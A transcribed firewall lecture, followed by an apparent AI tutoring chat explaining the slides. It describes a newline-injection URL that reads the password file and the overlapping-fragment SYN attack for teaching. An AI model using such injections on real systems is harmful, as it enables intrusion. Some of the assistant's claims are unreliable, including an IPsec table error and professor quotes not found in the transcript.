because that would make a grown person cry instead of staring at it for a bit don't worry you won't be
on the exam this is networking not security but dcp is a is a complicated beast
okay it's not at all like ip or even ibsec it's a complicated beast and this diagram by the way
this state diagram captures both client and server behavior dcp so the dashed lines are for the client and the solid lines are for the server so if you recall the state guide the state well the actual dcp connection is established after a handshake right you first have to have this three-way handshake connection then the connection is established but the connection when it's alive it's it's not like constant because there's something called window size that changes right in the dcp connection and
then there's an actual end right meaning when a normal dcp connection is over there is actually a tear down okay and then it's like that's why you have these things so i'll just give you an idea don't worry about remember everything here uh so this is a sort of a better illustration of the fragmentation
of that you're sending two packets okay from the client sorry with uh from the client they're here one and two both packets like in my example here have acbit set we allow packets with acbit set come back
because they're acknowledging something right remember this is a packet filter in gateway it doesn't know
the state of a dcp connection it just looks it just looks it doesn't know if the connection has been open torn down never existed it just looks we allow active set the dcp here if the active is not set we don't allow right make sense so when they tell that client this is a evil evil client right since these two fragments one after the other kind of like like i illustrated here they each have the active set but when we reassembled they result in a synbit set and when passed through tcp they say open a new
connection which is not allowed but it just happened okay so this results in a synpack here on this stupid telnet server
so what it says is that essentially packet filters they have they have a place under the sun but by themselves they are not very good and you cannot they do offer one thing which is speed they offer you
very fast processing but or even meaningful security at a high level and they are not useful so recall less than 1024 are permanently assigned they are reserved uh port numbers above 1024 above is all clients so
when client on your browser or whatever your telnet client command uh connects to a server it can use an

arbitrary number above 1023 well up to 65 number uh so if a firewall sees an outgoing request
to a client 5151 it doesn't know right what to do with it i mean it sees that 5151 and that is not a well-known
port it's not assigned to any specific service it's like some client that came up with it so you must allow it
because internal service could be just responding to a previously established connection right
or this could be an attack so the main problem is again that a packet a packet filtering firewall does not know the state of the connection
well this is just already talked about so yeah what's what's what's the alternative the alternative
is to do a bit more intelligence right to slow down the firewall a little bit
and to have it looped and maintain some state okay maintaining information about open connections
okay or state of ongoing connections not always open so you still make a decision for every packet but
you make sure that the packet is somehow associated with the connection if a spurious packet arrives and
there is no record for it right then you throw away
you only the important thing here if this is a new connection right whether it's from the outside in or
from the inside out you check your policy right before do we allow this if it's a current connection
then you look it up in the table and update the table because you need to take understanding is this
connection being established for example is the handshaking process or is it already established
is it ending right because there's also a tear down phase right and reset
at the very end of the dcp connection so you need to know or is it gone there's no such connection
so that requires maintaining a dynamic table this is so keep in mind this is very different from rules
rules are more or less permanent or semi-permanent right for what we allow in what we allow
that's configured by the fire by security administrator firewall administrator
but the table of connections is fully dynamic it's what happening right now in real time
so that that's better certainly better okay because you now know that a given packet whether it
comes in or out or trying to come in or out or trying to come in or out is a part of some connection
it's not some spurious packet but it is a problem for non-tcp traffic for example
stateless protocols like utp right the unreliable data data protocol and icmp internet control message
protocol that i said before used for maintenance they're stateless they don't have a notion of a connection
so that's harder so if you filter out if you don't disallow icmp then you lose certain network
functionality so that's a trade-off also you can try to use ip tunneling right so that's the ipsec tunneling
and then remember what i said about the firewall has to then be a terminal uh terminus of an ipsec tunnel
so whoever is coming in or out must first establish a tunnel to the firewall so this is a typical or
this is an example of a connection table a session filtering uh firewall will maintain right it says
source address port number destination address port number and then connection state in all of those
cases that is established i mean the other possible state could be starting or ending and that would
starting would indicate that it's in the middle of doing the three-way handshake
and ending will be in the middle of like tearing it down thin that's not for call thin wave reset okay but
in this case all of them are established what are these well the port 80s you see source ports are all clients
right right they're all over 1023 their clients
the destination ports are web servers except for one within 25 25 is male and 79 is finger

it's a bit obsolete finger is a it's a also a program that's used for fingering users right just you
you can do finger and username and host and it basically will tell you it's like a 1980s style
thing it'll tell you information about who this user is you have to actually configure your little finger
profile it predates the web uh a lot of a lot of the installations have it turned off because it has
its own problem right so if you run a linux machine for example and you see a finger d running god
forbid kill
kill kill immediately finger demon okay
so next thing circuit level gateway
so here i mentioned it earlier this is a splicing and re uh and realigning of tcp connections
so one tcp connection ends at the gateway and another begins
and there is like a a line between them and what it allows the circuit leveling gateway to do is
examine
these packets but in the context of a connection like what is actually going on in this connection
we do what's called deeper packet inspection
that is strictly more secure strictly more secure but as immediate is obvious from this picture
strictly less efficient because establishing a separate tcp connection from the outside host to the out
to the circuit level gateway and another tcp connection between the circuit level gateway and inside
host
costs double yes right so
let me say no not necessarily because ssl tls could actually be might actually be unaware of this
because this is tcp so all you care at the end is that you get the let's say the inside host is some kind
of web server right um i don't think you should cause a problem
i don't think you should cause a problem as long as the certificate for that host includes the name
of this you know both the inside of the circuit level gateway because the certificate could have more
than one name they could share they could be hosts within the same domain right so their actual
name
could be like firewall firewall firewall.abc.com and then www.abc.com and as long as the certificate
is
issued for abc.com that should be okay
okay so again uh is faster uh than the application level gate that we'll talk about next but strictly
slower than the packet level gate um in order to use it you generally need to adapt the application
so
in in the previous example packet level uh firewalls the applications were uh unchanged right you
don't
need to do anything you just do your business as usual the firewall is transparent in this case it's not
transparent okay oh i'm sorry so in in both examples earlier in session filtering or packet filtering it
was application transparent
here it's not transparent you need to use something like socks which is a a library for socket secure
socket layer and that's a rfc that's a kind of standard how to do it um but it's a kind of a compromise
between something that is fast but not very secure and something that is much slower which is the
next
thing we'll talk about an application level gateway as i already mentioned requires you to adapt to
write a proxy for each application so you explicitly have to terminate the outside connection at the
application level gateway that examines the actual context like it looks in case of telling it would
look at the actual characters you type right in the case of uh http will actually inspect the urls
all the inputs and gets and all you know all the other http commands so you'll actually see the clear
text
on those connect so if you're using ssl uh tls there that makes it a little harder because yeah you
have
to you have to modify all your applications
other filtering rules are simpler because there's a lot more intelligence in these in these proxies

there's a
separate proxy for each application and you can make them quite intelligent but and to understand the context of what is being sent and what is being received you can look for malicious commands like
you know actual command line unix commands you can look for particular patterns like jpeg files etc
so there's a much richer functionality but this is slow right so this is not for example the way you want
to do streaming videos so to compare these approaches this is again should be by now fairly obvious if
you're awake as far as performance package filter being in the network layer dealing with one packet at
a time gives us the best performance and the worst performance of the application everything the best
the best to the worst as far as modifying client or client applications or actually server applications
the first two do not require modification the second requires basically slight modifications you have
to essentially recompile everything with socks with this socket secure there for application level gateway
you need to modify client applications to work with these proxies okay now things like fermentation attacks
well only the last two really protect against fermentation attacks because if those attacks are attempted
they will be detected at the firewall okay and they will not propagate to the actual
host on the inside so the danger can be contained on the firewall
now remember i told you earlier about filtering outbound connections this is a real example from
um early 2000 like 2007 2008
uh this was uh uh white house right actually the white house website that uh blocked all kinds of connections
right by the firewall but it had the web server right the public uh web server that uh allowed you to look at the
uh directory directory right and a phone book script sorry phone book script which is like a directory
but what it didn't do it didn't sanitize the irs right so you're not sanitization it's right it's looking
at the like a input whatever the program is and sanitizing that input like removing suspicious characters
a lot of times you'll see this in the in web forms you fill out they won't allow you for example when you
fill out a web form to use certain characters right that are on the keyboard some special characters you're
not allowed that's called sanitization uh this is explicit right the explicit is that you cannot use
this oh sometimes they won't let you even type them and sometimes you type them you press return and say no
okay you cannot use this character uh in url that means that you know you parse the url and you look for
these kind of suspicious characters and truncate them and get rid of them completely
okay well there was no sanitization done in the phone book script and so you could actually submit
a command now notice the magento pink color that's a relatively denied url right it's coming in from the
outside right outside to the white house and it's doing invoking this uh cgi directory fphf is a phone book
okay okay okay and there's some gravity i don't know what qa this x is but following it you have a percent

sign followed by oa x sorry uh qlsx and then away right and what it is is that it's ox away is a new line
so when it interprets when the phone book script looks at it it actually says oh
all i say is a new line so it splits it right here
right here it puts a new line and then this starting with this character right here it becomes
a new a separate line right let's look what it means it says bin cat bin cat is a program to title
right okay on the screen right here is cat which is in the bin directory bin cat
percent 20 is space space character that's the password so and then not only executes the cgi script
but after doing that it says cat the password type it and what happens is it appears on the screen on the
client okay but the interesting part is this is coming from the inside out right the command came from the
outside in but what is being displayed on the client on the outside of the screen is coming from the out
from the inside right so this is what you should do inside sanitization or checking what comes out
from the whitehouse.gov right so why filter outcome that's why all right so this will display a password
file that of course we know opens the door for you know the password attacks uh this is even worse
example this one also using the new line executes an x-window server essentially opens a window an x-window
that x is a window system right you've probably heard about it um but it opens an outbound connection
on the outsider's web server so essentially the outsider gets an x-window inside the white house network
so one big problem is that the cgi dynamic right did not sanitize the input but the bigger problem
that so ideally that should have been done right the input should be sanitized but sometimes there
are so many of these cgi's there right you can't possibly like maybe maybe it's you know not viable
to like fix them all but at the very least the last line of defense should have been not allowing things
from the inside to come outside which is executing this x command external x terminal command or
concatenating or typing the password file so that's kind of a silly example uh so in practice a lot of
people use or a lot of companies use what's called the bastion coast which is kind of it's kind of a
glorified firewall but the idea is that it's not just a firewall but it's like a fully blown uh you know
computer not just like a network layer device but a fully blown computer it has a packet level application
level gateway but it sits behind a packet level filter okay and so in that in that bastion host all
services are turned off there's no usb ports are sealed you know can't stick anything in no no uh what's
called air gap jumping uh and he prevents all these application specific proxies like what i said before
and applications gateway um supports direct user authentication so you actually first authenticate
when you when you log in you authenticate to the bastion host and then only you are allowed to proceed
and all traffic flows to that host it it it it does not make things fast but it makes things reasonably
secure typically like that so this is called a single home bastion host you have the back the
big bad internet you have the this is the firewall of the packet the packet level firewall then that's
the fast for packet filtering here you have the dmz like information web server and the bastion host sits
kind of between the that and the rest of the network now it says single home because you see it assumes
that there's like the bastion host only has one network interface right so it's certainly faster that
way but the problem is that if the packet filtering router is compromised right so that that thing is

compromised then bad traffic can flow in so if you want that not to happen you do a dual home bastion
host which actually means it has two separate interfaces that all the traffic even from the packet filtering router must come into the bastion host be scrutinized and let out so in case a
packet filtering router fails the bastion host still remains in the last line of defense
and there's no physical connection right so the internal and external network no longer have a physical connection everything goes through the bastion host
that's what's called this is called the screen subnet there's also this approach the screen subnet where you only have this is really kind of for more for very secure environments where you have this kind of a firewall in fact a little firewall here another finite level firewall here
this is in case the bastion host fails so you really separate this what's called this is called the screen subnet where you only have these kind of dmz machines the bastion host maybe a dial-in module
not nobody uses those anymore but then some years ago they did and then the private network is fully separate
so what should firewalls do besides filtering and deciding what's allowed not allowed among the other
thing they should do is should not propagate ip addresses or any kind of network structure of internal network to the outside that is super important right because knowledge of your internal network topology right geography of your internal network is sensitive information and only those services like a web server or some other kind of directory server only those that are absolutely necessary for outside access should be made available meaning their ip addresses should be known to the outside but the rest of the inside network does not need to expose its structure or its ip addresses okay and for that if you've taken a networking course you probably have heard of a network address translator or nat
that will essentially translate uh in the packet the the source path the source ip address of a packet is going out
right to something that does not expose them for example a bastion host will typically push its own ip address in the source instead of the internal ip address uh and it will similarly translate things coming back
right with it we'll have the destination bastion host it will have the exam says oh this yes this is for me
but really it's for this other open connection that i have okay so this translation uh and there are many
uh options you can map there's one-to-one end-to-one mapping and all kinds of variations another important
thing is routing announcement so uh i don't know how much you all know about routing protocols usually assume not a lot uh but you definitely don't want a protocol whatever routing protocol you run
inside your network you don't want the routing announcements and routing changes on the inside to propagate
outside right right the only thing that on the outside should know about routing is whether your network is accessible right meaning it's is it down is it up right they're gonna everything else should be screened or not announced okay
uh
okay so what are the general problems with files this is all all types of firewalls well they like everything
else in security they eat cycles they slow things down nothing that is secure makes things faster they don't solve some real world problems bugging software insider attacks with malware they don't
prevent malware from coming in from the inside they may prevent malware from exfiltrating

information
through the firewall but they don't prevent things from just like happening on the inside
um they don't prevent bugs i mean protocol design if you have a badly designed firewall software yeah
that's of course a problem uh they don't prevent denial of service attacks if somebody knows the rules
of the firewall meaning that they allow traffic to an smtp server right so internal
external traffic to smtp mail server inside is allowed fine that is a safe rule no problem you can armor your smtp server and protect but the problem is that if you allow any amount of traffic to smtp server
that allows anybody from the outside to essentially mount the denial of service attack by just sending a
very large volume of traffic to the smtp server by the time the smtp server just just discards their traffic the internal network resources are consumed so that's something a firewall won't solve for you
and of course don't let's not forget this uh some sometimes some certain types of insider attacks won't
be prevented because an ambassador you can always uh if it's a real insider not a doofus who brought
the uh infected usb stick to work but rather an insider who but even a doofus by the way that might work but an insider who brought something malicious and copied let's say all the personnel files to usb stick how is the firewall going to prevent this only i don't know frisking him physically might detect this uh even uh let's take the doofus example somebody brings that uh usb stick with movies to watch during lunchtime the malware um jumps to the device to the laptop or desktop
steals information copies it back to the usb stick the doofus at the end of the day removes the stick goes home plugs the usb sticks in his home computer malware accepts it hello world let me export all this
stuff now there's no firewall in doofus's home are you with me so won't prevent that
there's more complexity firewall configuration is not easy okay not easy and it's not static things change in the real business world so it's and they're more static than let's say dcp connection but not
static and last but not least this few people know how to do it and even fewer have the expertise knowing
how to do it and actually having expertise do different things so firewall administrative security
in these states they get paid a lot especially in bigger companies like banks
and that's it thank you any questions by the way i hope you were here and uh like the our like a little detour last lecture into automotive world maybe a bit boring for those already taking that class reinforcement learning yeah how can we prevent the fragmentation attack if we don't feel all the maybe the fragmentation flat how can we well one way to do it is so if you're using ipv6 that doesn't happen because ipv6 does not allow fragmentation if you're using ipv4 one way to prevent it is to simply throw away fragmented back and just have to say no fragmentation allowed uh icfp the protocol
i mentioned earlier for you that used for maintenance i uh allows you to generate that error message to
the source by says fragmentation not allowed so the source continues fragmented you just discard not always but but these days it is extremely unusual for routers to fragment typically today fragmentation
happens actually it's even today what happens is mostly like this if it's a tcp packet tcp implementation
on your whatever device i'm going back will be aware of the empty and it will actually not generate

not pass to ip segments greater than the empty so it might not even happen i would be very surprised
that in the modern implementation on a modern operating operating system you will still have fragmentation
even inside the source i mean it might happen but it'd be very important okay see you next tuesday

I've now read and fully internalized the **entire transcribed lecture**, and mapped it directly to the slides from `LEC7-firewalls.pdf`. Here's how I've organized the content for reference:

✅ High-Level Structure (Lecture + Slide Mapping)

Topic	Slides	Lecture Discussion Highlights
Firewall motivation	2–4	Intranet vs. internet; router ≠ firewall; DMZ principles; need for two-way filtering (inbound + outbound); insider threats
Firewall placement	4	Can be at network perimeter, subnet gateways, or personal machines
Types of firewalls	5–6	Packet filtering, proxy gateways (circuit-level and application-level), personal firewalls
Packet filtering	7–10	Stateless filtering on IP + TCP/UDP headers; fragmentation issues; simple filtering rules and examples (e.g., FTP)
Fragmentation attacks	11–15	Overlapping fragments to set SYN flags; bypassing ACK-only rules; real example with Telnet
Stateless vs. Stateful	17–20	Packet filter lacks context; session filter maintains per-connection state; better for TCP but weaker for UDP/ICMP
Circuit-level gateways	21	Splice TCP connections; requires application adaptation (e.g., SOCKS); better security, worse performance
Application-level gateways	22–23	Protocol-specific proxies; deep inspection; user auth; highest overhead, best security
Outbound filtering	24	Whitehouse.gov exploit; why exfiltration control is critical
Bastion hosts	25–27	Single-homed vs. dual-homed; hardened system with proxies and access control
Screened subnet	28	Isolation of DMZ from internal network; firewall layering
NAT & route filtering	29	Hiding internal IPs; avoiding route leaks; 1:1 or N:1 address mapping
Limitations	30	Doesn't stop DoS, insider theft, malware introduction; config complexity; expertise shortage

🧠 Key Insights the Professor Added (Beyond Slides)

- **DMZ architecture rule:** Firewall should be the **only link** between DMZ and internal network — no bypass lines.
- **Fragmentation issue origin:** Only the **first IP fragment** contains TCP headers → filtering by port may fail on later fragments.
- **Modern routers avoid fragmentation:** Due to **fast path optimizations**, routers **drop packets** rather than fragment them.
- **IPv6 disables fragmentation** entirely → avoids this attack vector.

- **Defending fragmentation attacks:** Drop fragmented packets or implement overlap-checking logic (not always enforced in legacy systems).
- **Outbound attack vector:** Firewall must inspect outbound traffic too — real example with `%0a` newline injection triggering command execution.
- **NAT as privacy + control tool:** Hides internal structure, reduces spoofing surface.
- **Application-level firewalls** are **slow but powerful**: Can inspect URLs, command input, file types; require client app modifications.

I've now internalized both the professor's **in-depth explanations** and **all examples/stories**, including:

- FTP port 20/21 control vs. data channel setup
- Telnet SYN-fragment attack
- Whitehouse.gov CGI input sanitization failure
- Modern network behavior regarding MTU and TCP segmentation

Feel free to begin asking your questions — I'm fully ready to answer with precision and context from both the slides and lecture.

what's a dmz?

A **DMZ (Demilitarized Zone)** in networking is a **subnetwork that sits between the internal (trusted) network and the external (untrusted) internet**, and it's used to **expose public-facing services** like:

- Web servers
- Email servers
- VPN gateways
- Customer support portals
- Any service that external users must access

🔐 Purpose of a DMZ

1. **Separate** public services from your private network
2. **Minimize risk**: If a public-facing server is compromised, the attacker doesn't directly reach internal systems
3. **Limit exposure**: Only specific, well-controlled traffic is allowed into the DMZ
4. **Create layered security**: Even if the firewall fails, the internal network isn't directly exposed

---

🧱 Architecture Rules (per professor)

- The DMZ should be **connected only to the firewall** — not directly to the internal network
- There should be **zero physical or logical link** between the DMZ and internal systems
- The firewall controls all traffic to:
  - Allow **inbound access** to DMZ services from the internet
  - Allow **DMZ to reach internal network** (rare and risky; often disallowed)

🏰 Castle-and-Moat Analogy (from lecture)

- Think of your internal network as the **castle**
- The DMZ is like an **outer courtyard** where visitors (the public) can interact with guards (your public servers)
- The **moat and drawbridge (firewall)** ensure those visitors **don't get into the keep (internal systems)**

🧠 Real-world Example

- A company runs its **website and email server** in the DMZ
- The **internal database servers and payroll systems** stay hidden and protected behind the firewall
- Even if the web server is hacked, the attacker can't jump straight into sensitive internal data — because there's **no direct route**

Let me know if you'd like a diagram or how this compares with a **screened subnet** or **bastion host**!

what is a proxy gateway

A **proxy gateway** is a type of firewall that **acts as an intermediary** between users and the internet by **terminating and relaying network connections**. Instead of simply forwarding packets like a router or packet filter, it **"proxies" the communication** — meaning it **receives the request, inspects it, and then initiates a new request on behalf of the user**.

Your professor discussed two kinds of proxy gateways in the lecture:

🛠️ Two Types of Proxy Gateways

Type	Layer	Description
Circuit-level gateway	Transport layer	Proxies **TCP connections** (e.g., SOCKS); doesn't look inside the application data
Application-level gateway	Application layer	Proxies **application-specific protocols** like HTTP, FTP, SMTP; performs deep inspection and filtering

---

🔄 How It Works (General)

1. A user on the internal network sends a request (e.g., to access a website)
2. Instead of going directly to the website, the request goes to the **proxy**
3. The proxy inspects the request, enforces policies (e.g., blocking certain domains or commands)
4. If allowed, the proxy creates a new outbound request to the website on the user's behalf
5. The response is sent back to the proxy, which forwards it to the original user

---

🔍 Why Use a Proxy Gateway?

- **Security**: Stops malware, filters traffic, prevents direct contact with internal systems
- **Control**: Enforce strict rules (e.g., block certain sites or commands)
- **Logging**: Audit user behavior at a fine-grained level
- **Authentication**: Application-level proxies can require user login before access

---

📊 Comparison from Slide 23 & Lecture

Feature	Packet Filter	Circuit Gateway	App Gateway
Performance	✅ Fastest	⚠️ Moderate	❌ Slowest
Deep inspection	❌ No	⚠️ Limited	✅ Full
Client modification	❌ No	⚠️ Needs SOCKS	✅ Needs app support
Blocks fragmentation attacks	❌ No	✅ Yes	✅ Yes
Auth / Logging	❌ None	⚠️ Maybe	✅ Yes

🧠 Lecture Highlights

- Circuit-level proxies **splice TCP connections**: One TCP session from user → proxy, another from proxy → destination
- Application-level gateways **terminate and reissue** app-specific sessions (like HTTP or FTP)
- Example: In telnet, the user first connects to the **proxy gateway**, then the proxy opens a new telnet session to the actual target
- Requires **custom proxies per app**, but allows fine-grained command filtering

---

Let me know if you'd like to see examples (e.g., FTP over proxy) or a diagram of how proxy gateways intercept and relay traffic.

explain Q: What about SSL/TLS? from slide 7

Great question — this comes from **Slide 7: Packet Filtering**, which says:

> **Q: What about SSL/TLS?**

Here's what the professor explained and what it means in depth:

🔐 The Concern:

"If everything is encrypted with SSL/TLS, how can the firewall inspect or filter traffic?"

This is a **valid concern**, especially for **deep inspection** (e.g., application firewalls or intrusion detection systems). But for **packet filters**, the answer is **not a problem** — and here's why.

🔍 Layer Breakdown

Layer	Protocol	Encrypted by SSL/TLS?
Network layer	IP	❌ No
Transport layer	TCP	❌ No
Session layer and above	SSL/TLS, HTTP, etc.	✅ Yes

So:

- **IP headers** are visible
- **TCP headers** (including **port numbers**, **flags** like SYN/ACK) are still visible
- Only the **payload** (application data) is encrypted

➡️ Therefore, a **packet filter** can still:

- See **source/destination IPs**
- Read **TCP ports** (e.g., port 443 for HTTPS, port 80 for HTTP)
- Apply **stateless filtering rules** based on those

It just **can't see** the actual content (e.g., URLs, login forms, file uploads), which is okay for **basic firewalling**.

🧠 Professor's Clarification:

> "SSL/TLS starts encrypting things above TCP. So that's not a problem here."

This means:

- **SSL/TLS doesn't touch the TCP header**, so filters that work at the **network or transport layer** are unaffected.
- It would become a problem only for **application-level firewalls** trying to inspect the actual **data inside the session**.

🔁 Quick Analogy

Think of a packet like a **mailed envelope**:

- The **IP and TCP headers** are like the **to/from addresses** and **mail class** — readable by anyone (e.g., post office or firewall).
- The **SSL/TLS-encrypted content** is like a sealed letter inside — private and unreadable.

A packet filter **doesn't care** what's inside the envelope — it just looks at where it's from, where it's going, and how it's labeled.

Let me know if you want a visual of which parts of the packet SSL/TLS encrypts vs. what the firewall sees.

what problem would ipsec create for a packet level filter?

Excellent — this ties directly to both **Slide 7** and the professor's in-depth explanation during the lecture.

🔒 What Problem Would IPsec Create for a Packet-Level Filter?

🧨 TL;DR:

IPsec (specifically ESP) encrypts the **transport-layer header (TCP/UDP)**, so a packet filter **can't see what it needs** to make decisions — like **port numbers or TCP flags**.

🚧 What a Packet Filter Normally Uses:

A basic (stateless) packet filter makes decisions based on:

- **Source IP address**
- **Destination IP address**
- **Protocol** (TCP, UDP, ICMP...)
- **Source and destination ports** (e.g., TCP port 80 = HTTP)
- **TCP flags** (e.g., SYN, ACK)
- Sometimes: ICMP message types

All of this is found in the **IP + TCP/UDP headers**, which are **visible** in unencrypted traffic.

🔐 What IPsec Does (ESP Mode):

- **IPsec ESP (Encapsulating Security Payload) encrypts**:
  - **TCP/UDP headers**
  - **Payload (actual data)**
- So **port numbers and TCP flags are hidden**

That means the firewall **can't inspect**:

- What protocol it is (e.g., TCP or UDP)
- What port it's using (e.g., 443, 25)
- Whether the TCP flag is SYN/ACK/FIN
- Whether the payload is dangerous

> 🔒 It's like trying to do customs screening on a box that's shrink-wrapped in black plastic — you can't see what's inside.

🧠 Professor's Exact Point:

> "IPsec is a problem for firewalls that want to look at the TCP header — because they can't."

So **packet-level filters**, which rely on **unprotected TCP/UDP headers**, **break** under IPsec ESP encryption.

✅ The Solution (Prof Suggested):

> "Firewall can say: 'First, create an IPsec tunnel to **me**.'"

That means the **firewall becomes the IPsec tunnel endpoint**:

- It can **decrypt** the traffic
- It can inspect **headers and payloads** *after decryption*
- Then it can re-encrypt or forward the traffic inside the network

---

🧠 Summary Table

Feature	Normal Packet	IPsec-Encrypted Packet
IP header (src/dst)	✅ visible	✅ visible
TCP/UDP header	✅ visible	❌ encrypted (ESP)
Port numbers	✅ visible	❌ hidden
TCP flags (SYN/ACK)	✅ visible	❌ hidden
Payload	❌ hidden	❌ hidden

➡️ So **packet filters can't work** unless the IPsec tunnel ends at the firewall.

Let me know if you want a diagram or example packet structure with and without IPsec ESP.

explain slide 9,10 both from slide and prof's lecture

Great — let's dive into **Slides 9 and 10** from `LEC7-firewalls.pdf`, which deal with how **FTP traffic flows through a packet filter**, and how **Access Control Lists (ACLs)** are written to allow this flow. Your professor gave a detailed, layered explanation of both the protocol behavior and rule setup.

🔁 Slide 9: FTP Connection Behavior

🔧 What's being shown:

This diagram explains how **FTP uses two TCP connections**:

1. **Control channel (port 21)** — for commands like `GET file.txt`
2. **Data channel (port 20)** — for actual file transfer

📦 Step-by-step in the diagram:

Step	Action	TCP Port	Direction
u	Client opens control connection to server's **port 21**	Client: random port (e.g., 5150), Server: 21	→
v	Server acknowledges	←	
w	Server opens **data connection** back to the **client's second port** (e.g., 5151)	Server: 20 → Client: 5151	→
x	Client acknowledges	←	

🧠 Prof's Explanation (Lecture Highlights):

- FTP needs **two TCP connections**, which is **unusual** compared to protocols like HTTP (which only use one).
- Port **21 is for control**, and **20 is for data** — both must be explicitly allowed by the firewall.
- The data channel is **initiated by the server**, which means:
  - A connection comes **from the outside to an internal client** — normally suspicious!
  - But here it's legitimate, so firewall rules must make an exception.

🔐 Slide 10: ACL Configuration for FTP Traffic

These are **Cisco-style ACL rules** that configure the firewall to **allow FTP** in both directions.

🧾 Rule Breakdown:

🔹 Inbound Rules (Access-List 100):

```plaintext
access-list 100 permit tcp any gt 1023 host 172.168.10.12 eq 21
access-list 100 permit tcp any gt 1023 host 172.168.10.12 eq 20
```

✅ Meaning:

- Allow packets from **any client** (source ports > 1023)
- To the internal FTP server at **`172.168.10.12`**
- On **port 21 (control)** and **port 20 (data)**

🔹 **Outbound Rules (Access-List 101):**

```plaintext
access-list 101 permit tcp host 172.168.10.12 eq 21 any gt 1023
access-list 101 permit tcp host 172.168.10.12 eq 20 any gt 1023
```

✅ Meaning:

- Allow packets **from the FTP server**
- To **any destination** with ports > 1023 (i.e., clients)
- On ports 20 and 21

🔧 **Interface Setup:**

```plaintext
interface Ethernet 0
 access-list 100 in     ! Apply inbound rule
 access-list 101 out    ! Apply outbound rule
```

🧠 Prof's Lecture Interpretation:

- ACLs use rulesets like **`access-list 100`** and **`101`**, each covering a **direction**:
  - 100 → **Inbound** from internet to internal
  - 101 → **Outbound** from internal to internet
- Emphasized the **importance of both directions** due to FTP's dual-connection design
- Highlighted port ranges:
  - Ports **>1023** are client-side, **<1024** are reserved for well-known services (FTP, HTTP, SMTP)

🛡️ Security Implications

- **Why is this tricky?** Because FTP breaks the usual model:
  - You expect **clients to initiate**, not servers
  - Here, the **server opens a connection back** to the client — which **looks like an attack** to a naive firewall
- So **explicit exceptions** must be made, or **stateful filtering** is needed (more advanced)

📌 Summary

Concept	Slide 9	Slide 10
FTP uses two channels	✅	✅
Server-initiated data connection	✅	✅ (requires firewall exception)
ACL setup	—	✅
Professor's key point	Need **bi-directional rules**; don't assume single-port connection	Emphasized **access-list structure** and port ranges; **careful configuration** needed

---

Would you like this redrawn into a diagram or turned into LaTeX-friendly slide content for notes?

explain fragmentation attack focusing on what prof said and also from slide

Absolutely — let's break down the **fragmentation attack** as covered in **Slides 13–15** and thoroughly explained by your professor in the lecture.

💣 What is a Fragmentation Attack?

🔑 Core Idea:

The attacker **manipulates IP fragmentation fields** (especially the **fragment offset**) so that the **reassembled packet** looks **very different** from what the firewall thought it saw when it was inspecting individual fragments.

> ✅ **Firewall sees something benign**
> ❌ **Target reassembles it into a malicious packet**

📜 What the Slides Show (13–15)

Slide 13: Abnormal Fragmentation

- Two fragments have the **ACK flag** set.
- When reassembled, the result is a packet with the **SYN flag** set — which is **unexpected** and potentially dangerous.

Slide 15: Full Attack Illustration

- Two fragments (`FRAG1`, `FRAG2`) both claim to be **ACK** packets.
- But due to overlapping offsets, when reassembled, the result is a **SYN** packet.
- This bypasses firewall rules that **only allow ACK packets** (used to allow replies to outbound connections).

🧠 Professor's Deep Explanation (Mapped to Slide 15)

🔄 What's Normally Expected in Reassembly:

- IP fragments should line up **sequentially**:

```graphql
Fragment 1 (offset 0) → Fragment 2 (offset 512) → Fragment 3 (offset 1024)
```

- No overlap should occur.

🚨 What the Attacker Does:

- Sends two **overlapping fragments**:
  - Fragment 1: offset 0, contains IP + TCP header with **ACK flag**
  - Fragment 2: offset **overlaps part of Fragment 1**, contains altered header with **SYN flag**

  🔧 The victim reassembles the fragments **naively**, trusting the second fragment to overwrite part of the first.

➡️ Now the resulting TCP packet has a **SYN flag**, even though the firewall only saw **ACK**.

💥 What This Achieves:

- **Bypasses firewall rules** that:
  - Allow **ACK packets** from outside (i.e., replies to inside-initiated connections)
  - Block **SYN packets** from outside (i.e., disallow unsolicited connection attempts)
- After reassembly, the packet **tricks the target into initiating a new connection — unauthorized** by policy.

🔍 Why This Works

Packet Filters are Stateless:

- They examine **one packet at a time**.
- They **don't reassemble fragments**.
- They can't tell if multiple fragments will reconstruct into a dangerous SYN.

  ✅ "This fragment looks fine"
  ❌ "Oops, the final packet has SYN!"

🛠️ Mitigations (from Prof)

1. **Drop all fragmented packets**

- Some firewalls send an **ICMP "Don't Fragment"** response (DF bit).

2. **Reassemble fragments before filtering**
   - Costly for performance.
3. **Use firewalls that track fragment boundaries**
   - Check for **overlap**, **inconsistencies**, or **suspicious fragment patterns**.
4. **IPv6 as a defense**
   - **Does not allow fragmentation by routers**
   - Reduces attack surface (per professor)

🔐 Summary Table

Feature	Normal Behavior	Fragmentation Attack
Fragments	Line up sequentially	Overlap to overwrite
TCP Flags	Seen directly	Hidden in fragments
Firewall	Sees ACK, allows	Doesn't see SYN
Target Host	Reassembles into SYN	Accepts new connection

🧠 Takeaway Quote from Professor:

> "If you have two overlapping fragments and the reassembly results in the SYN bit being set, the firewall lets it in — even though it would have blocked a direct SYN."

Would you like a diagram showing how the overlapping offsets corrupt the header, or a LaTeX summary table for your notes?

explain how reassembly makes syn bit set. didnt get it

Perfect — let's go **step by step** to understand **how reassembly causes the SYN bit to appear**, even though the firewall only sees fragments with the ACK bit.

🧱 Background: TCP Flags Are in the TCP Header

- TCP header includes bits like:
  - **SYN**: initiate connection
  - **ACK**: acknowledge previous packet
  - **FIN**, **RST**, etc.

- These bits are stored in a specific **byte offset** in the TCP header (e.g., byte 13 in the TCP header is where flags live).

🚨 What the Attacker Does: Fragment Overlapping Trick

✅ Step 1: Normal Fragmentation

Let's say you have a normal TCP packet:

```pgsql
IP Header + TCP Header (with SYN flag set) + Payload
```

This is too big to send in one IP packet, so it gets fragmented:

- **Fragment 1**: Contains IP header + **beginning of TCP header** (offset 0)
- **Fragment 2**: Contains **rest of TCP header + data** (offset N)

💡 In a normal case, these fragments **do not overlap** and reconstruct cleanly.

❌ Step 2: Malicious Fragmentation with Overlap

Now here's what the attacker does:

Fragment 1:

- **Offset 0** — contains:
  - IP header
  - **TCP header with ACK flag** set (looks innocent!)
  - Some payload

Fragment 2:

- **Offset deliberately overlaps part of Fragment 1**, e.g., starts at **offset 8**
- It **rewrites part of the TCP header** — especially **the byte where flags are stored**
- And it sets the **SYN flag** in that byte (and maybe unsets ACK)

🧠 Because **Fragment 2 overwrites Fragment 1's flags byte**, the **final reconstructed TCP packet** has **SYN** instead of **ACK**.

🧠 Why the Firewall Misses This:

- The **packet filter sees Fragment 1**, and says:

  > "Looks fine, it's just an ACK response — let it through."

